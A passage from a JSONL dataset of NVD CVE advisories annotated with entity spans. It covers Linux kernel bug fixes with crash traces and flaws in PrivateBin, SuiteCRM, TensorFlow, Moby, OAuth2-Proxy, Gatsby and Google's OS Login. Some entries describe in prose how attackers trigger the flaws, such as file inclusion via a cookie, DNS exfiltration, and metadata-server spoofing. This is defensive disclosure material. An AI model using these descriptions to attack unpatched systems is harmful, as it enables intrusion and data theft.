__dev_queue_xmit+0x16b2/0x3370 net/core/dev.c:4324\n[<ffffffff85416493>] dev_queue_xmit include/linux/netdevice.h:3030 [inline]\n[<ffffffff85416493>] batadv_send_skb_packet+0x3f3/0x680 net/batman-adv/send.c:108\n[<ffffffff85416744>] batadv_send_broadcast_skb+0x24/0x30 net/batman-adv/send.c:127\n[<ffffffff853bc52a>] batadv_iv_ogm_send_to_if net/batman-adv/bat_iv_ogm.c:393 [inline]\n[<ffffffff853bc52a>] batadv_iv_ogm_emit net/batman-adv/bat_iv_ogm.c:421 [inline]\n[<ffffffff853bc52a>] batadv_iv_send_outstanding_bat_ogm_packet+0x69a/0x840 net/batman-adv/bat_iv_ogm.c:1701\n[<ffffffff8151023c>] process_one_work+0x8ac/0x1170 kernel/workqueue.c:2289\n[<ffffffff81511938>] worker_thread+0xaa8/0x12d0 kernel/workqueue.c:2436", "spans": {"FILEPATH: /linux/skbuff.h": [[278, 293], [327, 342], [391, 406], [761, 776], [829, 844]], "FILEPATH: /trace/events/net.h": [[461, 480], [918, 937], [1778, 1797]], "FILEPATH: /27/2023": [[650, 658]], "FILEPATH: /core/dev.c": [[1843, 1854], [1925, 1936], [1997, 2008]], "FILEPATH: /linux/netdevice.h": [[2057, 2075]], "FILEPATH: /batman-adv/send.c": [[2149, 2167], [2232, 2250]], "FILEPATH: /batman-adv/bat_iv_ogm.c": [[2304, 2328], [2385, 2409], [2501, 2525]], "FILEPATH: workqueue.c": [[2589, 2600], [2661, 2672]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[584, 590], [591, 597], [613, 619], [641, 647]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53312"}}
{"text": "PrivateBin is an online pastebin where the server has zero knowledge of pasted data. Starting in version 1.7.7 and prior to version 2.0.3, an unauthenticated Local File Inclusion exists in the template-switching feature. If `templateselection` is enabled in the configuration, the server trusts the `template` cookie and includes the referenced PHP file. An attacker can read sensitive data or, if they manage to drop a PHP file elsewhere, gain remote code execution. The constructed path of the template file is checked for existence, then included. For PrivateBin project files this does not leak any secrets due to data files being created with PHP code that prevents execution, but if a configuration file without that line got created or the visitor figures out the relative path to a PHP script that directly performs an action without appropriate privilege checking, those might execute or leak information. The issue has been patched in version 2.0.3. As a workaround, set `templateselection = false` (which is the default) in `cfg/conf.php` or remove it entirely", "spans": {"FILEPATH: conf.php": [[1040, 1048]], "SYSTEM: PHP": [[345, 348], [420, 423], [648, 651], [790, 793]], "VULNERABILITY: remote code execution": [[445, 466]], "VULNERABILITY: Local File Inclusion": [[158, 178]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-64714"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nx86: stop playing stack games in profile_pc()\n\nThe 'profile_pc()' function is used for timer-based profiling, which\nisn't really all that relevant any more to begin with, but it also ends\nup making assumptions based on the stack layout that aren't necessarily\nvalid.\n\nBasically, the code tries to account the time spent in spinlocks to the\ncaller rather than the spinlock, and while I support that as a concept,\nit's not worth the code complexity or the KASAN warnings when no serious\nprofiling is done using timers anyway these days.\n\nAnd the code really does depend on stack layout that is only true in the\nsimplest of cases.  We've lost the comment at some point (I think when\nthe 32-bit and 64-bit code was unified), but it used to say:\n\n\tAssume the lock function has either no stack frame or a copy\n\tof eflags from PUSHF.\n\nwhich explains why it just blindly loads a word or two straight off the\nstack pointer and then takes a minimal look at the values to just check\nif they might be eflags or the return pc:\n\n\tEflags always has bits 22 and up cleared unlike kernel addresses\n\nbut that basic stack layout assumption assumes that there isn't any lock\ndebugging etc going on that would complicate the code and cause a stack\nframe.\n\nIt causes KASAN unhappiness reported for years by syzkaller [1] and\nothers [2].\n\nWith no real practical reason for this any more, just remove the code.\n\nJust for historical interest, here's some background commits relating to\nthis code from 2006:\n\n  0cb91a229364 (\"i386: Account spinlocks to the caller during profiling for !FP kernels\")\n  31679f38d886 (\"Simplify profile_pc on x86-64\")\n\nand a code unification from 2009:\n\n  ef4512882dbe (\"x86: time_32/64.c unify profile_pc\")\n\nbut the basics of this thing actually goes back to before the git tree.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-42096"}}
{"text": "SuiteCRM is an open-source, enterprise-ready Customer Relationship Management (CRM) software application. Prior to versions 7.15.1 and 8.9.3, the `retrieve()` function in `include/OutboundEmail/OutboundEmail.php` fails to properly neutralize the user controlled `$id` parameter. It is assumed that the function calling `retrieve()` will appropriately quote and sanitize the user input. However, two locations have been identified that can be reached through the `EmailUIAjax`  action on the `Email()` module where this is not the case. As such, it is possible for an authenticated user to perform SQL injection through the `retrieve()` function. This affects the latest major versions 7.15 and 8.9. As there do not appear to be restrictions on which tables can be called, it would be possible for an attacker to retrieve arbitrary information from the database, including user information and password hashes. Versions 7.15.1 and 8.9.3 patch the issue.", "spans": {"FILEPATH: /OutboundEmail/OutboundEmail.php": [[179, 211]], "VULNERABILITY: SQL injection": [[597, 610]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-29099"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ncrypto: qat - flush misc workqueue during device shutdown\n\nRepeated loading and unloading of a device specific QAT driver, for\nexample qat_4xxx, in a tight loop can lead to a crash due to a\nuse-after-free scenario. This occurs when a power management (PM)\ninterrupt triggers just before the device-specific driver (e.g.,\nqat_4xxx.ko) is unloaded, while the core driver (intel_qat.ko) remains\nloaded.\n\nSince the driver uses a shared workqueue (`qat_misc_wq`) across all\ndevices and owned by intel_qat.ko, a deferred routine from the\ndevice-specific driver may still be pending in the queue. If this\nroutine executes after the driver is unloaded, it can dereference freed\nmemory, resulting in a page fault and kernel crash like the following:\n\n    BUG: unable to handle page fault for address: ffa000002e50a01c\n    #PF: supervisor read access in kernel mode\n    RIP: 0010:pm_bh_handler+0x1d2/0x250 [intel_qat]\n    Call Trace:\n      pm_bh_handler+0x1d2/0x250 [intel_qat]\n      process_one_work+0x171/0x340\n      worker_thread+0x277/0x3a0\n      kthread+0xf0/0x120\n      ret_from_fork+0x2d/0x50\n\nTo prevent this, flush the misc workqueue during device shutdown to\nensure that all pending work items are completed before the driver is\nunloaded.\n\nNote: This approach may slightly increase shutdown latency if the\nworkqueue contains jobs from other devices, but it ensures correctness\nand stability.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[259, 273]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-39721"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnsh: Restore skb->{protocol,data,mac_header} for outer header in nsh_gso_segment().\n\nsyzbot triggered various splats (see [0] and links) by a crafted GSO\npacket of VIRTIO_NET_HDR_GSO_UDP layering the following protocols:\n\n  ETH_P_8021AD + ETH_P_NSH + ETH_P_IPV6 + IPPROTO_UDP\n\nNSH can encapsulate IPv4, IPv6, Ethernet, NSH, and MPLS.  As the inner\nprotocol can be Ethernet, NSH GSO handler, nsh_gso_segment(), calls\nskb_mac_gso_segment() to invoke inner protocol GSO handlers.\n\nnsh_gso_segment() does the following for the original skb before\ncalling skb_mac_gso_segment()\n\n  1. reset skb->network_header\n  2. save the original skb->{mac_heaeder,mac_len} in a local variable\n  3. pull the NSH header\n  4. resets skb->mac_header\n  5. set up skb->mac_len and skb->protocol for the inner protocol.\n\nand does the following for the segmented skb\n\n  6. set ntohs(ETH_P_NSH) to skb->protocol\n  7. push the NSH header\n  8. restore skb->mac_header\n  9. set skb->mac_header + mac_len to skb->network_header\n 10. restore skb->mac_len\n\nThere are two problems in 6-7 and 8-9.\n\n  (a)\n  After 6 & 7, skb->data points to the NSH header, so the outer header\n  (ETH_P_8021AD in this case) is stripped when skb is sent out of netdev.\n\n  Also, if NSH is encapsulated by NSH + Ethernet (so NSH-Ethernet-NSH),\n  skb_pull() in the first nsh_gso_segment() will make skb->data point\n  to the middle of the outer NSH or Ethernet header because the Ethernet\n  header is not pulled by the second nsh_gso_segment().\n\n  (b)\n  While restoring skb->{mac_header,network_header} in 8 & 9,\n  nsh_gso_segment() does not assume that the data in the linear\n  buffer is shifted.\n\n  However, udp6_ufo_fragment() could shift the data and change\n  skb->mac_header accordingly as demonstrated by syzbot.\n\n  If this happens, even the restored skb->mac_header points to\n  the middle of the outer header.\n\nIt seems nsh_gso_segment() has never worked with outer headers so far.\n\nAt the end of nsh_gso_segment(), the outer header must be restored for\nthe segmented skb, instead of the NSH header.\n\nTo do that, let's calculate the outer header position relatively from\nthe inner header and set skb->{data,mac_header,protocol} properly.\n\n[0]:\nBUG: KMSAN: uninit-value in ipvlan_process_outbound drivers/net/ipvlan/ipvlan_core.c:524 [inline]\nBUG: KMSAN: uninit-value in ipvlan_xmit_mode_l3 drivers/net/ipvlan/ipvlan_core.c:602 [inline]\nBUG: KMSAN: uninit-value in ipvlan_queue_xmit+0xf44/0x16b0 drivers/net/ipvlan/ipvlan_core.c:668\n ipvlan_process_outbound drivers/net/ipvlan/ipvlan_core.c:524 [inline]\n ipvlan_xmit_mode_l3 drivers/net/ipvlan/ipvlan_core.c:602 [inline]\n ipvlan_queue_xmit+0xf44/0x16b0 drivers/net/ipvlan/ipvlan_core.c:668\n ipvlan_start_xmit+0x5c/0x1a0 drivers/net/ipvlan/ipvlan_main.c:222\n __netdev_start_xmit include/linux/netdevice.h:4989 [inline]\n netdev_start_xmit include/linux/netdevice.h:5003 [inline]\n xmit_one net/core/dev.c:3547 [inline]\n dev_hard_start_xmit+0x244/0xa10 net/core/dev.c:3563\n __dev_queue_xmit+0x33ed/0x51c0 net/core/dev.c:4351\n dev_queue_xmit include/linux/netdevice.h:3171 [inline]\n packet_xmit+0x9c/0x6b0 net/packet/af_packet.c:276\n packet_snd net/packet/af_packet.c:3081 [inline]\n packet_sendmsg+0x8aef/0x9f10 net/packet/af_packet.c:3113\n sock_sendmsg_nosec net/socket.c:730 [inline]\n __sock_sendmsg net/socket.c:745 [inline]\n __sys_sendto+0x735/0xa10 net/socket.c:2191\n __do_sys_sendto net/socket.c:2203 [inline]\n __se_sys_sendto net/socket.c:2199 [inline]\n __x64_sys_sendto+0x125/0x1c0 net/socket.c:2199\n do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n do_syscall_64+0xcf/0x1e0 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x63/0x6b\n\nUninit was created at:\n slab_post_alloc_hook mm/slub.c:3819 [inline]\n slab_alloc_node mm/slub.c:3860 [inline]\n __do_kmalloc_node mm/slub.c:3980 [inline]\n __kmalloc_node_track_caller+0x705/0x1000 mm/slub.c:4001\n kmalloc_reserve+0x249/0x4a0 net/core/skbuff.c:582\n __\n---truncated---", "spans": {"FILEPATH: /net/ipvlan/ipvlan_core.c": [[2321, 2346], [2415, 2440], [2520, 2545], [2582, 2607], [2649, 2674], [2727, 2752]], "FILEPATH: /net/ipvlan/ipvlan_main.c": [[2794, 2819]], "FILEPATH: /linux/netdevice.h": [[2852, 2870], [2911, 2929], [3111, 3129]], "FILEPATH: /core/dev.c": [[2957, 2968], [3019, 3030], [3071, 3082]], "FILEPATH: /packet/af_packet.c": [[3171, 3190], [3210, 3229], [3277, 3296]], "FILEPATH: /x86/entry/common.c": [[3590, 3609], [3652, 3671]], "FILEPATH: /core/skbuff.c": [[3960, 3974]], "FILEPATH: socket.c": [[3326, 3334], [3368, 3376], [3420, 3428], [3455, 3463], [3499, 3507], [3556, 3564]], "FILEPATH: slub.c": [[3766, 3772], [3807, 3813], [3850, 3856], [3916, 3922]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-36933"}}
{"text": "Play Framework is a web framework for Java and Scala. A denial of service vulnerability has been discovered in verions 2.8.3 through 2.8.15 of Play's forms library, in both the Scala and Java APIs. This can occur when using either the `Form#bindFromRequest` method on a JSON request body or the `Form#bind` method directly on a JSON value. If the JSON data being bound to the form contains a deeply-nested JSON object or array, the form binding implementation may consume all available heap space and cause an `OutOfMemoryError`. If executing on the default dispatcher and `akka.jvm-exit-on-fatal-error` is enabled—as it is by default—then this can crash the application process. `Form.bindFromRequest` is vulnerable when using any body parser that produces a type of `AnyContent` or `JsValue` in Scala, or one that can produce a `JsonNode` in Java. This includes Play's default body parser. This vulnerability been patched in version 2.8.16. There is now a global limit on the depth of a JSON object that can be parsed, which can be configured by the user if necessary. As a workaround, applications that do not need to parse a request body of type `application/json` can switch from the default body parser to another body parser that supports only the specific type of body they expect.", "spans": {"SYSTEM: Java": [[38, 42], [187, 191], [844, 848]], "VULNERABILITY: denial of service": [[56, 73]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-31018"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nsock_map: avoid race between sock_map_close and sk_psock_put\n\nsk_psock_get will return NULL if the refcount of psock has gone to 0, which\nwill happen when the last call of sk_psock_put is done. However,\nsk_psock_drop may not have finished yet, so the close callback will still\npoint to sock_map_close despite psock being NULL.\n\nThis can be reproduced with a thread deleting an element from the sock map,\nwhile the second one creates a socket, adds it to the map and closes it.\n\nThat will trigger the WARN_ON_ONCE:\n\n------------[ cut here ]------------\nWARNING: CPU: 1 PID: 7220 at net/core/sock_map.c:1701 sock_map_close+0x2a2/0x2d0 net/core/sock_map.c:1701\nModules linked in:\nCPU: 1 PID: 7220 Comm: syz-executor380 Not tainted 6.9.0-syzkaller-07726-g3c999d1ae3c7 #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 04/02/2024\nRIP: 0010:sock_map_close+0x2a2/0x2d0 net/core/sock_map.c:1701\nCode: df e8 92 29 88 f8 48 8b 1b 48 89 d8 48 c1 e8 03 42 80 3c 20 00 74 08 48 89 df e8 79 29 88 f8 4c 8b 23 eb 89 e8 4f 15 23 f8 90 <0f> 0b 90 48 83 c4 08 5b 41 5c 41 5d 41 5e 41 5f 5d e9 13 26 3d 02\nRSP: 0018:ffffc9000441fda8 EFLAGS: 00010293\nRAX: ffffffff89731ae1 RBX: ffffffff94b87540 RCX: ffff888029470000\nRDX: 0000000000000000 RSI: ffffffff8bcab5c0 RDI: ffffffff8c1faba0\nRBP: 0000000000000000 R08: ffffffff92f9b61f R09: 1ffffffff25f36c3\nR10: dffffc0000000000 R11: fffffbfff25f36c4 R12: ffffffff89731840\nR13: ffff88804b587000 R14: ffff88804b587000 R15: ffffffff89731870\nFS:  000055555e080380(0000) GS:ffff8880b9500000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 0000000000000000 CR3: 00000000207d4000 CR4: 0000000000350ef0\nCall Trace:\n <TASK>\n unix_release+0x87/0xc0 net/unix/af_unix.c:1048\n __sock_release net/socket.c:659 [inline]\n sock_close+0xbe/0x240 net/socket.c:1421\n __fput+0x42b/0x8a0 fs/file_table.c:422\n __do_sys_close fs/open.c:1556 [inline]\n __se_sys_close fs/open.c:1541 [inline]\n __x64_sys_close+0x7f/0x110 fs/open.c:1541\n do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n do_syscall_64+0xf5/0x240 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\nRIP: 0033:0x7fb37d618070\nCode: 00 00 48 c7 c2 b8 ff ff ff f7 d8 64 89 02 b8 ff ff ff ff eb d4 e8 10 2c 00 00 80 3d 31 f0 07 00 00 74 17 b8 03 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 48 c3 0f 1f 80 00 00 00 00 48 83 ec 18 89 7c\nRSP: 002b:00007ffcd4a525d8 EFLAGS: 00000202 ORIG_RAX: 0000000000000003\nRAX: ffffffffffffffda RBX: 0000000000000005 RCX: 00007fb37d618070\nRDX: 0000000000000010 RSI: 00000000200001c0 RDI: 0000000000000004\nRBP: 0000000000000000 R08: 0000000100000000 R09: 0000000100000000\nR10: 0000000000000000 R11: 0000000000000202 R12: 0000000000000000\nR13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000\n </TASK>\n\nUse sk_psock, which will only check that the pointer is not been set to\nNULL yet, which should only happen after the callbacks are restored. If,\nthen, a reference can still be gotten, we may call sk_psock_stop and cancel\npsock->work.\n\nAs suggested by Paolo Abeni, reorder the condition so the control flow is\nless convoluted.\n\nAfter that change, the reproducer does not trigger the WARN_ON_ONCE\nanymore.", "spans": {"FILEPATH: /core/sock_map.c": [[653, 669], [705, 721], [966, 982]], "FILEPATH: /02/2024": [[917, 925]], "FILEPATH: /unix/af_unix.c": [[1802, 1817]], "FILEPATH: /x86/entry/common.c": [[2089, 2108], [2151, 2170]], "FILEPATH: socket.c": [[1843, 1851], [1892, 1900]], "FILEPATH: file_table.c": [[1929, 1941]], "FILEPATH: open.c": [[1965, 1971], [2005, 2011], [2057, 2063]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[851, 857], [858, 864], [880, 886], [908, 914]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-39500"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: Check the remaining info_cnt before repeating btf fields\n\nWhen trying to repeat the btf fields for array of nested struct, it\ndoesn't check the remaining info_cnt. The following splat will be\nreported when the value of ret * nelems is greater than BTF_FIELDS_MAX:\n\n  ------------[ cut here ]------------\n  UBSAN: array-index-out-of-bounds in ../kernel/bpf/btf.c:3951:49\n  index 11 is out of range for type 'btf_field_info [11]'\n  CPU: 6 UID: 0 PID: 411 Comm: test_progs ...... 6.11.0-rc4+ #1\n  Tainted: [O]=OOT_MODULE\n  Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS ...\n  Call Trace:\n   <TASK>\n   dump_stack_lvl+0x57/0x70\n   dump_stack+0x10/0x20\n   ubsan_epilogue+0x9/0x40\n   __ubsan_handle_out_of_bounds+0x6f/0x80\n   ? kallsyms_lookup_name+0x48/0xb0\n   btf_parse_fields+0x992/0xce0\n   map_create+0x591/0x770\n   __sys_bpf+0x229/0x2410\n   __x64_sys_bpf+0x1f/0x30\n   x64_sys_call+0x199/0x9f0\n   do_syscall_64+0x3b/0xc0\n   entry_SYSCALL_64_after_hwframe+0x4b/0x53\n  RIP: 0033:0x7fea56f2cc5d\n  ......\n   </TASK>\n  ---[ end trace ]---\n\nFix it by checking the remaining info_cnt in btf_repeat_fields() before\nrepeating the btf fields.", "spans": {"FILEPATH: /kernel/bpf/btf.c": [[418, 435]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[609, 613]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-50161"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. In affected versions TFLite's [`GatherNd` implementation](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/gather_nd.cc#L124) does not support negative indices but there are no checks for this situation. Hence, an attacker can read arbitrary data from the heap by carefully crafting a model with negative values in `indices`. Similar issue exists in [`Gather` implementation](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/gather.cc). We have patched the issue in GitHub commits bb6a0383ed553c286f87ca88c207f6774d5c4a8f and eb921122119a6b6e470ee98b89e65d721663179d. The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/gather_nd.cc#L124": [[129, 257]], "URL: https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/gather.cc": [[509, 629]], "HASH: bb6a0383ed553c286f87ca88c207f6774d5c4a8f": [[676, 716]], "HASH: eb921122119a6b6e470ee98b89e65d721663179d": [[721, 761]], "ORGANIZATION: GitHub": [[661, 667]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-37687"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nserial: 8250: Reinit port->pm on port specific driver unbind\n\nWhen we unbind a serial port hardware specific 8250 driver, the generic\nserial8250 driver takes over the port. After that we see an oops about 10\nseconds later. This can produce the following at least on some TI SoCs:\n\nUnhandled fault: imprecise external abort (0x1406)\nInternal error: : 1406 [#1] SMP ARM\n\nTurns out that we may still have the serial port hardware specific driver\nport->pm in use, and serial8250_pm() tries to call it after the port\nspecific driver is gone:\n\nserial8250_pm [8250_base] from uart_change_pm+0x54/0x8c [serial_base]\nuart_change_pm [serial_base] from uart_hangup+0x154/0x198 [serial_base]\nuart_hangup [serial_base] from __tty_hangup.part.0+0x328/0x37c\n__tty_hangup.part.0 from disassociate_ctty+0x154/0x20c\ndisassociate_ctty from do_exit+0x744/0xaac\ndo_exit from do_group_exit+0x40/0x8c\ndo_group_exit from __wake_up_parent+0x0/0x1c\n\nLet's fix the issue by calling serial8250_set_defaults() in\nserial8250_unregister_port(). This will set the port back to using\nthe serial8250 default functions, and sets the port->pm to point to\nserial8250_pm.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53176"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. If the `splits` argument of `RaggedBincount` does not specify a valid `SparseTensor`(https://www.tensorflow.org/api_docs/python/tf/sparse/SparseTensor), then an attacker can trigger a heap buffer overflow. This will cause a read from outside the bounds of the `splits` tensor buffer in the implementation of the `RaggedBincount` op(https://github.com/tensorflow/tensorflow/blob/8b677d79167799f71c42fd3fa074476e0295413a/tensorflow/core/kernels/bincount_op.cc#L430-L446). Before the `for` loop, `batch_idx` is set to 0. The attacker sets `splits(0)` to be 7, hence the `while` loop does not execute and `batch_idx` remains 0. This then results in writing to `out(-1, bin)`, which is before the heap allocated buffer for the output tensor. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2 and TensorFlow 2.3.3, as these are also affected.", "spans": {"URL: https://www.tensorflow.org/api_docs/python/tf/sparse/SparseTensor": [[156, 221]], "URL: https://github.com/tensorflow/tensorflow/blob/8b677d79167799f71c42fd3fa074476e0295413a/tensorflow/core/kernels/bincount_op.cc#L430-L446": [[403, 538]], "VULNERABILITY: buffer overflow": [[260, 275]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-29514"}}
{"text": "Moby is an open source container framework that is a key component of Docker Engine, Docker Desktop, and other distributions of container tooling or runtimes. Moby's networking implementation allows for many networks, each with their own IP address range and gateway, to be defined. This feature is frequently referred to as custom networks, as each network can have a different driver, set of parameters and thus behaviors. When creating a network, the `--internal` flag is used to designate a network as _internal_. The `internal` attribute in a docker-compose.yml file may also be used to mark a network _internal_, and other API clients may specify the `internal` parameter as well.\n\nWhen containers with networking are created, they are assigned unique network interfaces and IP addresses. The host serves as a router for non-internal networks, with a gateway IP that provides SNAT/DNAT to/from container IPs.\n\nContainers on an internal network may communicate between each other, but are precluded from communicating with any networks the host has access to (LAN or WAN) as no default route is configured, and firewall rules are set up to drop all outgoing traffic. Communication with the gateway IP address (and thus appropriately configured host services) is possible, and the host may communicate with any container IP directly.\n\nIn addition to configuring the Linux kernel's various networking features to enable container networking, `dockerd` directly provides some services to container networks. Principal among these is serving as a resolver, enabling service discovery, and resolution of names from an upstream resolver.\n\nWhen a DNS request for a name that does not correspond to a container is received, the request is forwarded to the configured upstream resolver. This request is made from the container's network namespace: the level of access and routing of traffic is the same as if the request was made by the container itself.\n\nAs a consequence of this design, containers solely attached to an internal network will be unable to resolve names using the upstream resolver, as the container itself is unable to communicate with that nameserver. Only the names of containers also attached to the internal network are able to be resolved.\n\nMany systems run a local forwarding DNS resolver. As the host and any containers have separate loopback devices, a consequence of the design described above is that containers are unable to resolve names from the host's configured resolver, as they cannot reach these addresses on the host loopback device. To bridge this gap, and to allow containers to properly resolve names even when a local forwarding resolver is used on a loopback address, `dockerd` detects this scenario and instead forward DNS requests from the host namework namespace. The loopback resolver then forwards the requests to its configured upstream resolvers, as expected.\n\nBecause `dockerd` forwards DNS requests to the host loopback device, bypassing the container network namespace's normal routing semantics entirely, internal networks can unexpectedly forward DNS requests to an external nameserver. By registering a domain for which they control the authoritative nameservers, an attacker could arrange for a compromised container to exfiltrate data by encoding it in DNS queries that will eventually be answered by their nameservers.\n\nDocker Desktop is not affected, as Docker Desktop always runs an internal resolver on a RFC 1918 address.\n\nMoby releases 26.0.0, 25.0.4, and 23.0.11 are patched to prevent forwarding any DNS requests from internal networks. As a workaround, run containers intended to be solely attached to internal networks with a custom upstream address, which will force all upstream DNS queries to be resolved from the container's network namespace.", "spans": {"FILEPATH: compose.yml": [[555, 566]], "SYSTEM: Docker Desktop": [[85, 99], [3374, 3388], [3409, 3423]], "SYSTEM: Linux kernel": [[1370, 1382]], "ORGANIZATION: Docker": [[70, 76]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-29018"}}
{"text": "Vulnerability in the Enterprise Manager Base Platform product of Oracle Enterprise Manager (component: Enterprise Config Management). Supported versions that are affected are 12.1.0.5, 13.2.0.0 and 13.3.0.0. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Enterprise Manager Base Platform. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Enterprise Manager Base Platform accessible data as well as unauthorized update, insert or delete access to some of Enterprise Manager Base Platform accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Enterprise Manager Base Platform. CVSS 3.0 Base Score 6.0 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:L).", "spans": {"IP_ADDRESS: 12.1.0.5": [[175, 183]], "IP_ADDRESS: 13.2.0.0": [[185, 193]], "IP_ADDRESS: 13.3.0.0": [[198, 206]], "ORGANIZATION: Oracle": [[65, 71]], "VULNERABILITY: denial of service": [[677, 694]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2610"}}
{"text": "OAuth2-Proxy is an open source reverse proxy that provides authentication with Google, Github or other providers. The `--gitlab-group` flag for group-based authorization in the GitLab provider stopped working in the v7.0.0 release. Regardless of the flag settings, authorization wasn't restricted. Additionally, any authenticated users had whichever groups were set in `--gitlab-group` added to the new `X-Forwarded-Groups` header to the upstream application. While adding GitLab project based authorization support in #630, a bug was introduced where the user session's groups field was populated with the `--gitlab-group` config entries instead of pulling the individual user's group membership from the GitLab Userinfo endpoint. When the session groups where compared against the allowed groups for authorization, they matched improperly (since both lists were populated with the same data) so authorization was allowed. This impacts GitLab Provider users who relies on group membership for authorization restrictions. Any authenticated users in your GitLab environment can access your applications regardless of `--gitlab-group` membership restrictions. This is patched in v7.1.0. There is no workaround for the Group membership bug. But `--gitlab-project` can be set to use Project membership as the authorization checks instead of groups; it is not broken.", "spans": {"SYSTEM: GitLab": [[177, 183], [473, 479], [706, 712], [937, 943], [1054, 1060]], "ORGANIZATION: Google": [[79, 85]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-21411"}}
{"text": "Gatsby is a free and open source framework based on React. The Gatsby framework prior to versions 4.25.7 and 5.9.1 contain a Local File Inclusion vulnerability in the `__file-code-frame` and `__original-stack-frame` paths, exposed when running the Gatsby develop server (`gatsby develop`). Any file in scope of the development server could potentially be exposed. It should be noted that by default `gatsby develop` is only accessible via the localhost `127.0.0.1`, and one would need to intentionally expose the server to other interfaces to exploit this vulnerability by using server options such as `--host 0.0.0.0`, `-H 0.0.0.0`, or the `GATSBY_HOST=0.0.0.0` environment variable. A patch has been introduced in `gatsby@5.9.1` and `gatsby@4.25.7` which mitigates the issue. Users are advised to upgrade. Users unable to upgrade should avoid exposing their development server to the internet.", "spans": {"IP_ADDRESS: 127.0.0.1": [[454, 463]], "IP_ADDRESS: 0.0.0.0": [[610, 617], [624, 631], [654, 661]], "VULNERABILITY: Local File Inclusion": [[125, 145]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-34238"}}
{"text": "A vulnerability in Google Cloud Platform's guest-oslogin versions between 20190304 and 20200507 allows a user that is only granted the role \"roles/compute.osLogin\" to escalate privileges to root. Using their membership to the \"adm\" group, users with this role are able to read the DHCP XID from the systemd journal. Using the DHCP XID, it is then possible to set the IP address and hostname of the instance to any value, which is then stored in /etc/hosts. An attacker can then point metadata.google.internal to an arbitrary IP address and impersonate the GCE metadata server which make it is possible to instruct the OS Login PAM module to grant administrative privileges. All images created after 2020-May-07 (20200507) are fixed, and if you cannot update, we recommend you edit /etc/group/security.conf and remove the \"adm\" user from the OS Login entry.", "spans": {"FILEPATH: /etc/hosts.": [[445, 456]], "FILEPATH: /etc/group/security.conf": [[781, 805]], "SYSTEM: systemd": [[299, 306]], "ORGANIZATION: Google": [[19, 25]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-8903"}}
